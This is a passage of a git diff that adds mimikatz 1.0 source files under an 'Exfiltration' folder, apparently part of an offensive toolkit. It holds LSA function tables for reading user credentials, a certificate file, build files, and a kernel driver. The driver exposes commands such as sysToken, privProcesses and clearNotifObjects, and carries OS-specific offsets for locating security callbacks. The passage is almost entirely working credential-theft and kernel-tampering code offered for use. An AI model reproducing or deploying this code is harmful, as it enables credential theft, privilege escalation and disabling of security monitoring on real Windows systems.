InputBuffer, OUT PSecBuffer OutputBuffer); +typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthorityName, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, OUT PHANDLE Token, OUT PNTSTATUS SubStatus); +typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN_EX) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, IN PVOID SessionInformation, IN SECPKG_SESSIONINFO_TYPE SessionInformationType, OUT PHANDLE Token, OUT PNTSTATUS SubStatus); +typedef VOID (WINAPI * PLSA_AUDIT_LOGON) (IN NTSTATUS Status, IN NTSTATUS SubStatus, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthenticatingAuthority, IN PUNICODE_STRING WorkstationName, IN OPTIONAL PSID UserSid, IN SECURITY_LOGON_TYPE LogonType, IN PTOKEN_SOURCE TokenSource, IN PLUID LogonId); +typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); +typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGEEX) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); +typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE_PASSTHROUGH) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); +typedef BOOLEAN (WINAPI * PLSA_GET_CALL_INFO) (OUT PSECPKG_CALL_INFO Info); +typedef PVOID (WINAPI * PLSA_CREATE_SHARED_MEMORY) (ULONG MaxSize, ULONG InitialSize); +typedef PVOID (WINAPI * PLSA_ALLOCATE_SHARED_MEMORY) (PVOID SharedMem, ULONG Size); +typedef VOID (WINAPI * PLSA_FREE_SHARED_MEMORY) (PVOID SharedMem, PVOID Memory); +typedef BOOLEAN (WINAPI * PLSA_DELETE_SHARED_MEMORY) (PVOID SharedMem); +typedef NTSTATUS (WINAPI * PLSA_OPEN_SAM_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, BOOLEAN AllowGuest, ULONG Reserved, PVOID * UserHandle); +typedef NTSTATUS (WINAPI * PLSA_GET_USER_CREDENTIALS) (PVOID UserHandle, PVOID * PrimaryCreds, PULONG PrimaryCredsSize, PVOID * SupplementalCreds, PULONG SupplementalCredsSize); +typedef NTSTATUS (WINAPI * PLSA_GET_USER_AUTH_DATA) (PVOID UserHandle, PUCHAR * UserAuthData, PULONG UserAuthDataSize); +typedef NTSTATUS (WINAPI * PLSA_CLOSE_SAM_USER) (PVOID UserHandle); +typedef NTSTATUS (WINAPI * PLSA_GET_AUTH_DATA_FOR_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, PUCHAR * UserAuthData, PULONG UserAuthDataSize, PUNICODE_STRING UserFlatName); +typedef NTSTATUS (WINAPI * PLSA_CONVERT_AUTH_DATA_TO_TOKEN) (IN PVOID UserAuthData, IN ULONG UserAuthDataSize, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN PUNICODE_STRING AuthorityName, OUT PHANDLE Token, OUT PLUID LogonId, OUT PUNICODE_STRING AccountName, OUT PNTSTATUS SubStatus); +typedef NTSTATUS (WINAPI * PLSA_CRACK_SINGLE_NAME) (IN ULONG FormatOffered, IN BOOLEAN PerformAtGC, IN PUNICODE_STRING NameInput, IN PUNICODE_STRING Prefix OPTIONAL, IN ULONG RequestedFormat, OUT PUNICODE_STRING CrackedName, OUT PUNICODE_STRING DnsDomainName, OUT PULONG SubStatus); +typedef NTSTATUS (WINAPI * PLSA_AUDIT_ACCOUNT_LOGON) (IN ULONG AuditId, IN BOOLEAN Success, IN PUNICODE_STRING Source, IN PUNICODE_STRING ClientName, IN PUNICODE_STRING MappedName, IN NTSTATUS Status); +typedef NTSTATUS (WINAPI * PLSA_CLIENT_CALLBACK) (IN PCHAR Callback, IN ULONG_PTR Argument1, IN ULONG_PTR Argument2, IN PSecBuffer Input, OUT PSecBuffer Output); +typedef NTSTATUS (WINAPI * PLSA_REGISTER_CALLBACK) (ULONG CallbackId, PLSA_CALLBACK_FUNCTION Callback); +typedef NTSTATUS (WINAPI * PLSA_UPDATE_PRIMARY_CREDENTIALS) (IN PSECPKG_PRIMARY_CRED PrimaryCredentials, IN OPTIONAL PSECPKG_SUPPLEMENTAL_CRED_ARRAY Credentials); +typedef VOID (WINAPI * PLSA_PROTECT_MEMORY) (IN PVOID Buffer, IN ULONG BufferSize); +typedef NTSTATUS (WINAPI * PLSA_OPEN_TOKEN_BY_LOGON_ID) (IN PLUID LogonId, OUT HANDLE *RetTokenHandle); +typedef NTSTATUS (WINAPI * PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN) (IN PUCHAR UserAuthData, IN ULONG UserAuthDataSize, IN PVOID Reserved, OUT PUCHAR * ExpandedAuthData, OUT PULONG ExpandedAuthDataSize); + + + +#ifndef _ENCRYPTED_CREDENTIAL_DEFINED +#define _ENCRYPTED_CREDENTIAL_DEFINED + +typedef struct _ENCRYPTED_CREDENTIALW { + CREDENTIALW Cred; + ULONG ClearCredentialBlobSize; +} ENCRYPTED_CREDENTIALW, *PENCRYPTED_CREDENTIALW; +#endif // _ENCRYPTED_CREDENTIAL_DEFINED + +#define CREDP_FLAGS_IN_PROCESS 0x01 // Caller is in-process. Password data may be returned +#define CREDP_FLAGS_USE_MIDL_HEAP 0x02 // Allocated buffer should use MIDL_user_allocte +#define CREDP_FLAGS_DONT_CACHE_TI 0x04 // TargetInformation shouldn't be cached for CredGetTargetInfo +#define CREDP_FLAGS_CLEAR_PASSWORD 0x08 // Credential blob is passed in in-the-clear +#define CREDP_FLAGS_USER_ENCRYPTED_PASSWORD 0x10 // Credential blob is passed protected by RtlEncryptMemory +#define CREDP_FLAGS_TRUSTED_CALLER 0x20 // Caller is a trusted process (eg. logon process). + +typedef enum _CredParsedUserNameType +{ + parsedUsernameInvalid = 0, + parsedUsernameUpn, + parsedUsernameNt4Style, + parsedUsernameCertificate, + parsedUsernameNonQualified +} CredParsedUserNameType; + + +typedef NTSTATUS (NTAPI CredReadFn) (IN PLUID LogonId, IN ULONG CredFlags, IN LPWSTR TargetName, IN ULONG Type, IN ULONG Flags, OUT PENCRYPTED_CREDENTIALW *Credential); +typedef NTSTATUS (NTAPI CredReadDomainCredentialsFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PCREDENTIAL_TARGET_INFORMATIONW TargetInfo, IN ULONG Flags, OUT PULONG Count, OUT PENCRYPTED_CREDENTIALW **Credential); + +typedef VOID (NTAPI CredFreeCredentialsFn) (IN ULONG Count, IN PENCRYPTED_CREDENTIALW *Credentials OPTIONAL); +typedef NTSTATUS (NTAPI CredWriteFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PENCRYPTED_CREDENTIALW Credential, IN ULONG Flags); +typedef NTSTATUS (NTAPI CrediUnmarshalandDecodeStringFn)(IN LPWSTR MarshaledString, OUT LPBYTE *Blob, OUT ULONG *BlobSize, OUT BOOLEAN *IsFailureFatal); + +typedef struct _LSA_SECPKG_FUNCTION_TABLE { + PLSA_CREATE_LOGON_SESSION CreateLogonSession; + PLSA_DELETE_LOGON_SESSION DeleteLogonSession; + PLSA_ADD_CREDENTIAL AddCredential; + PLSA_GET_CREDENTIALS GetCredentials; + PLSA_DELETE_CREDENTIAL DeleteCredential; + PLSA_ALLOCATE_LSA_HEAP AllocateLsaHeap; + PLSA_FREE_LSA_HEAP FreeLsaHeap; + PLSA_ALLOCATE_CLIENT_BUFFER AllocateClientBuffer; + PLSA_FREE_CLIENT_BUFFER FreeClientBuffer; + PLSA_COPY_TO_CLIENT_BUFFER CopyToClientBuffer; + PLSA_COPY_FROM_CLIENT_BUFFER CopyFromClientBuffer; + PLSA_IMPERSONATE_CLIENT ImpersonateClient; + PLSA_UNLOAD_PACKAGE UnloadPackage; + PLSA_DUPLICATE_HANDLE DuplicateHandle; + PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS SaveSupplementalCredentials; + PLSA_CREATE_THREAD CreateThread; + PLSA_GET_CLIENT_INFO GetClientInfo; + PLSA_REGISTER_NOTIFICATION RegisterNotification; + PLSA_CANCEL_NOTIFICATION CancelNotification; + PLSA_MAP_BUFFER MapBuffer; + PLSA_CREATE_TOKEN CreateToken; + PLSA_AUDIT_LOGON AuditLogon; + PLSA_CALL_PACKAGE CallPackage; + PLSA_FREE_LSA_HEAP FreeReturnBuffer; + PLSA_GET_CALL_INFO GetCallInfo; + PLSA_CALL_PACKAGEEX CallPackageEx; + PLSA_CREATE_SHARED_MEMORY CreateSharedMemory; + PLSA_ALLOCATE_SHARED_MEMORY AllocateSharedMemory; + PLSA_FREE_SHARED_MEMORY FreeSharedMemory; + PLSA_DELETE_SHARED_MEMORY DeleteSharedMemory; + PLSA_OPEN_SAM_USER OpenSamUser; + PLSA_GET_USER_CREDENTIALS GetUserCredentials; + PLSA_GET_USER_AUTH_DATA GetUserAuthData; + PLSA_CLOSE_SAM_USER CloseSamUser; + PLSA_CONVERT_AUTH_DATA_TO_TOKEN ConvertAuthDataToToken; + PLSA_CLIENT_CALLBACK ClientCallback; + PLSA_UPDATE_PRIMARY_CREDENTIALS UpdateCredentials; + PLSA_GET_AUTH_DATA_FOR_USER GetAuthDataForUser; + PLSA_CRACK_SINGLE_NAME CrackSingleName; + PLSA_AUDIT_ACCOUNT_LOGON AuditAccountLogon; + PLSA_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough; + CredReadFn *CrediRead; + CredReadDomainCredentialsFn *CrediReadDomainCredentials; + CredFreeCredentialsFn *CrediFreeCredentials; + PLSA_PROTECT_MEMORY LsaProtectMemory; + PLSA_PROTECT_MEMORY LsaUnprotectMemory; + PLSA_OPEN_TOKEN_BY_LOGON_ID OpenTokenByLogonId; + PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN ExpandAuthDataForDomain; + PLSA_ALLOCATE_PRIVATE_HEAP AllocatePrivateHeap; + PLSA_FREE_PRIVATE_HEAP FreePrivateHeap; + PLSA_CREATE_TOKEN_EX CreateTokenEx; + CredWriteFn *CrediWrite; + CrediUnmarshalandDecodeStringFn *CrediUnmarshalandDecodeString; +} LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/MAKEFILE b/Exfiltration/mimikatz-1.0/driver/MAKEFILE new file mode 100644 index 0000000..5acbbd2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/MAKEFILE @@ -0,0 +1 @@ +!INCLUDE $(NTMAKEENV)\makefile.def diff --git a/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer new file mode 100644 index 0000000..cdd3755 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer @@ -0,0 +1,32 @@ +-----BEGIN CERTIFICATE----- +MIIFfzCCA2egAwIBAgIKYQt/awAAAAAAGTANBgkqhkiG9w0BAQUFADB/MQswCQYD +VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEe +MBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSkwJwYDVQQDEyBNaWNyb3Nv +ZnQgQ29kZSBWZXJpZmljYXRpb24gUm9vdDAeFw0wNjA1MjMxNzAwNTFaFw0xNjA1 +MjMxNzEwNTFaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52 +LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxTaWduIFJvb3Qg +Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZjc6j40+Kfvvx +i4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6scTHAH +oT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4 +bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVt +bNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlw +R5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N89iFo7+ryUp9/ +k5DPAgMBAAGjggEjMIIBHzARBgNVHSAECjAIMAYGBFUdIAAwNgYJKwYBBAGCNxUH +BCkwJwYfKwYBBAGCNxUIjeDRiU6E15zDB4amhvscj9O/phUBGQIBbgIBADALBgNV +HQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUYHtmGkUNl8qJUC99 +BM00qP/8/UswHQYJKwYBBAGCNxQCBBAeDgBDAHIAbwBzAHMAQwBBMB8GA1UdIwQY +MBaAFGL7CiFbf0NuEdoJVFBr9dKWcfGeMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6 +Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvY3JsL3Byb2R1Y3RzL01pY3Jvc29mdENv +ZGVWZXJpZlJvb3QuY3JsMA0GCSqGSIb3DQEBBQUAA4ICAQATxWxeB388V/+bMV8/ +vZVUJcZ5+SwxA01kaUtW2VuXb3zz8NAkZXU4Y5gTcBYT96cB8cYj4IWGbAvwgJRa +deh85B6StHO/wbOnsAvTGITLzAmjXJxPPrA6nC0bxATvlzeWb+Xsuqxqs9TiPN+L +JeesvGJFMd2kCnLkG/h4QwHMujkU3l2Qrthaz17KRoFRM9WmDlhn09hmWIgWm+6x +GsqtkROEIdqabiDv2gB0KLrJX/NNXcPaJWklVOpEvMObKTMc1jyWH4eBxVPXKicz +1C4ZfAhYbdtOGZmp6l/zmp2MUTpaXL0vqQg1m1Sn2zUaUhYzNDqjgARq/bSDjK2Q +zww6ZZbsM04YJrhJu+uBkv8TTTJLI8cz57ZxaxX2nIDmvLdsvkHVAzpxMxUAUHQ7 +Dl35lqrtkD6rE0yAmSa8OKXrAjaJHbYgvoOrEPgZntdjedSusS9hNvlKS6gzxw5y +QfnxsZB+rkbv3jl7daBBFFkEHUK8R4i4Ew4F+h3wgI3/cMZ32EvcRg4jGnLVv97+ +qq5pWDz8XEbk1YGai25lWXcaMqWQprZkk2T9B1PJoN4orSpsxjjRgc6Y9UAZ6SwX +Q6QmX9NEMFPkHQK6pAovFt16YCdSQrutmDcol+S40nkR4xCMSNUwXQoMUt71iOqN +Gi1nyfSAFIS3hQzRZiilxm8kYQ== +-----END CERTIFICATE----- diff --git a/Exfiltration/mimikatz-1.0/driver/SOURCES b/Exfiltration/mimikatz-1.0/driver/SOURCES new file mode 100644 index 0000000..f544791 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/SOURCES @@ -0,0 +1,9 @@ +TARGETNAME=mimikatz +TARGETPATH=OBJ +TARGETTYPE=DRIVER +SOURCES=mimikatz.c \ + mod_memory.c \ + processes.c minifilters.c fsfilters.c modules.c ssdt.c \ + notify_process.c notify_thread.c notify_image.c notify_reg.c notify_object.c + +TARGETLIBS= $(TARGETLIBS) $(IFSKIT_LIB_PATH)\fltmgr.lib $(BASEDIR)\lib\wlh\*\aux_klib.lib $(DDK_LIB_PATH)\ntstrsafe.lib diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.c b/Exfiltration/mimikatz-1.0/driver/fsfilters.c new file mode 100644 index 0000000..fc80756 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/fsfilters.c @@ -0,0 +1,35 @@ +#include "fsfilters.h" + +NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG ActualNumberDriverObjects = 0; + PDRIVER_OBJECT * DriverObjectList = NULL; + + ULONG i; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + IoEnumerateRegisteredFiltersList(NULL, 0, &ActualNumberDriverObjects); + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kFiltersList - ActualNumberDriverObjects : %u\n\n", ActualNumberDriverObjects); + if(NT_SUCCESS(status)) + { + if(ActualNumberDriverObjects > 0) + { + DriverObjectList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, POOL_TAG); + if(DriverObjectList != NULL) + { + IoEnumerateRegisteredFiltersList(DriverObjectList, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, &ActualNumberDriverObjects); + for(i = 0; (i < ActualNumberDriverObjects) && NT_SUCCESS(status); i++) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); + //DbgPrint("[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); + ObDereferenceObject(DriverObjectList[i]); + } + ExFreePoolWithTag(DriverObjectList, POOL_TAG); + } + } + } + return status; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.h b/Exfiltration/mimikatz-1.0/driver/fsfilters.h new file mode 100644 index 0000000..9e82e9c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/fsfilters.h @@ -0,0 +1,5 @@ +#pragma once +#include <ntifs.h> +#include "k_types.h" + +NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/k_types.h b/Exfiltration/mimikatz-1.0/driver/k_types.h new file mode 100644 index 0000000..f82465f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/k_types.h @@ -0,0 +1,49 @@ +#pragma once +#include <ntddk.h> +#include <ntstrsafe.h> + +#define MIN(a, b) (((a) < (b)) ? (a) : (b)) +#define MAX(a, b) (((a) > (b)) ? (a) : (b)) + +#ifndef KIWI_NameToFunc +#define KIWI_NameToFunc(Name, Function) if(taillFunc == sizeof(Name) - sizeof(WCHAR)) if(RtlCompareMemory(Name, buffer, taillFunc) == taillFunc) {*destFunc = Function; return STATUS_SUCCESS;} +#endif + +#ifndef KIWI_mask3bits +#define KIWI_mask3bits(addr) (((ULONG_PTR) (addr)) & ~7) +#endif + +#define POOL_TAG 'iwik' + +#define INDEX_UNK 0 +#define INDEX_XP 1 +#define INDEX_2K3 2 +#define INDEX_VISTA 3 +#define INDEX_2K8 4 +#define INDEX_7 5 +#define INDEX_2K8R2 6 +#define INDEX_8 7 +#define MAX_OS_LEN 8 + +#ifdef _M_IX86 +#define EX_FAST_REF_MASK 0x07 +#else +#define EX_FAST_REF_MASK 0x0f +#endif + +typedef NTSTATUS (* ptrLocalFunction) (LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +ULONG INDEX_OS; + +PDRIVER_OBJECT moi; + +typedef struct _SERVICE_DESCRIPTOR_TABLE { +#ifdef _M_IX86 + PVOID *ServiceTable; +#else + LONG *OffsetToService; +#endif + PULONG CounterTable; + ULONG TableSize; + PUCHAR ArgumentTable; +} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.c b/Exfiltration/mimikatz-1.0/driver/mimikatz.c new file mode 100644 index 0000000..d109eac --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mimikatz.c @@ -0,0 +1,193 @@ +#include "mimikatz.h" + +ptrLocalFunction maFunc = NULL; + +NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + return STATUS_NOT_SUPPORTED; +} + +NTSTATUS Write(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + NTSTATUS status = STATUS_INVALID_PARAMETER; + PIO_STACK_LOCATION pIoStackIrp = NULL; + PWSTR params; + size_t tailleParams; + + pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); + if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) + { + status = getLocalFuncFromName((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Write.Length, ¶ms, &tailleParams, &maFunc); + + if(NT_SUCCESS(status)) + { + Irp->IoStatus.Information = pIoStackIrp->Parameters.Write.Length; + } + } + IoCompleteRequest(Irp, IO_NO_INCREMENT); + Irp->IoStatus.Status = status; + + return status; +} + +NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + NTSTATUS status = STATUS_INVALID_HANDLE; + PIO_STACK_LOCATION pIoStackIrp = NULL; + + LPWSTR pszDestEnd; + size_t pcbRemaining; + + pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); + if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) + { + if(maFunc) + { + status = maFunc((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Read.Length, &pszDestEnd, &pcbRemaining); + + if(NT_SUCCESS(status)) + { + Irp->IoStatus.Information = pIoStackIrp->Parameters.Read.Length - pcbRemaining; + } + } + else + { + status = STATUS_PROCEDURE_NOT_FOUND; + } + } + IoCompleteRequest(Irp, IO_NO_INCREMENT); + Irp->IoStatus.Status = status; + + return status; +} + +void DriverUnload(IN PDRIVER_OBJECT theDriverObject) +{ + UNICODE_STRING UStrDosDeviceName; + RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); + IoDeleteSymbolicLink(&UStrDosDeviceName); + IoDeleteDevice(theDriverObject->DeviceObject); +} + +NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) +{ + NTSTATUS status; + UNICODE_STRING UStrDriverName, UStrDosDeviceName; + PDEVICE_OBJECT pDeviceObject = NULL; + ULONG i; + + moi = theDriverObject; + RtlInitUnicodeString(&UStrDriverName, L"\\Device\\mimikatz"); + status = IoCreateDevice(theDriverObject, 0, &UStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject); + + if(NT_SUCCESS(status)) + { + INDEX_OS = getWindowsIndex(); + + for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + theDriverObject->MajorFunction[i] = UnSupported; + + theDriverObject->MajorFunction[IRP_MJ_READ] = Read; + theDriverObject->MajorFunction[IRP_MJ_WRITE] = Write; + + theDriverObject->DriverUnload = DriverUnload; + + pDeviceObject->Flags |= DO_BUFFERED_IO; + pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; + + RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); + IoCreateSymbolicLink(&UStrDosDeviceName, &UStrDriverName); + } + + return status; +} + + +ULONG getWindowsIndex() +{ + switch(*NtBuildNumber) + { + case 2600: + return INDEX_XP; + break; + case 3790: + return INDEX_2K3; + break; + case 6000: + case 6001: + return INDEX_VISTA; + case 6002: + return INDEX_2K8; + break; + case 7600: + case 7601: + return INDEX_7; + break; + case 8102: + case 8250: + case 9200: + return INDEX_8; + break; + default: + return 0; + } +} + +NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc) +{ + NTSTATUS status; + size_t tailleChaine; + ULONG i; + ULONG taillFunc; + + status = RtlStringCbLengthW(buffer, taille, &tailleChaine); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < tailleChaine / sizeof(WCHAR)) && (buffer[i] != L' '); i++); + + if( (i+1) < (tailleChaine / sizeof(WCHAR))) + { + *params = buffer + (i+1); + *tailleParams = (tailleChaine / sizeof(WCHAR)) - (i+1); // avoir !!! + DbgPrint("%u", *tailleParams); + } + else + { + *params = NULL; + *tailleParams = 0; + } + + *destFunc = NULL; + taillFunc = i*sizeof(WCHAR); + + + KIWI_NameToFunc(L"ping", kPing); + + if(INDEX_OS) + { + KIWI_NameToFunc(L"ssdt", kSSDT); + + KIWI_NameToFunc(L"listModules", kModulesList); + KIWI_NameToFunc(L"listFilters", kFiltersList); + KIWI_NameToFunc(L"listMinifilters", kMiniFiltersList); + + KIWI_NameToFunc(L"listNotifProcesses", kListNotifyProcesses); + KIWI_NameToFunc(L"listNotifThreads", kListNotifyThreads); + KIWI_NameToFunc(L"listNotifImages", kListNotifyImages); + KIWI_NameToFunc(L"listNotifRegistry", kListNotifyRegistry); + KIWI_NameToFunc(L"listNotifObjects", kListNotifyObjects); + KIWI_NameToFunc(L"clearNotifObjects", kClearNotifyObjects); + + KIWI_NameToFunc(L"listProcesses", listProcesses); + KIWI_NameToFunc(L"sysToken", sysToken); + KIWI_NameToFunc(L"privProcesses", privProcesses); + } + } + return status; +} + + +NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return RtlStringCbPrintfExW(pszDest, cbDest, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"Pong (from ring 0 :)\n"); +} diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.h b/Exfiltration/mimikatz-1.0/driver/mimikatz.h new file mode 100644 index 0000000..3ece6e2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mimikatz.h @@ -0,0 +1,26 @@ +#pragma once + +#include "minifilters.h" +#include "fsfilters.h" +#include "modules.h" +#include "processes.h" +#include "ssdt.h" + +#include "notify.h" + +#include "k_types.h" + +#include <ntddk.h> + +extern PSHORT NtBuildNumber; +ULONG getWindowsIndex(); + +DRIVER_INITIALIZE DriverEntry; +DRIVER_UNLOAD DriverUnload; + +DRIVER_DISPATCH UnSupported; +__drv_dispatchType(IRP_MJ_READ) DRIVER_DISPATCH Read; +__drv_dispatchType(IRP_MJ_WRITE) DRIVER_DISPATCH Write; + +NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc); +NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.c b/Exfiltration/mimikatz-1.0/driver/minifilters.c new file mode 100644 index 0000000..90ba7ef --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/minifilters.c @@ -0,0 +1,193 @@ +#include "minifilters.h" + +const ULONG MF_OffSetTable[MAX_OS_LEN][MAX_MF_LEN] = +{ + /* INDEX_MF_CALLBACK_OFF, INDEX_MF_CALLBACK_PRE_OFF, INDEX_MF_CALLBACK_POST_OFF, INDEX_MF_VOLUME_NAME_OFF */ +#ifdef _M_IX86 +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x007c, 0x000c, 0x0010, 0x002c}, +/* INDEX_2K3 */ {0x007c, 0x000c, 0x0010, 0x002c}, +/* INDEX_VISTA */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_2K8 */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_7 */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas !*/ +/* INDEX_8 */ {0x004c, 0x000c, 0x0010, 0x0030} +#else +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 est 2003 x64 */ +/* INDEX_2K3 */ {0x00e8, 0x0018, 0x0020, 0x0048}, +/* INDEX_VISTA */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_2K8 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_7 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_2K8R2 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_8 */ {0x0090, 0x0018, 0x0020, 0x0050} +#endif +}; + +const WCHAR *irpToName[] = { + L"CREATE", + L"CREATE_NAMED_PIPE", + L"CLOSE", + L"READ", + L"WRITE", + L"QUERY_INFORMATION", + L"SET_INFORMATION", + L"QUERY_EA", + L"SET_EA", + L"FLUSH_BUFFERS", + L"QUERY_VOLUME_INFORMATION", + 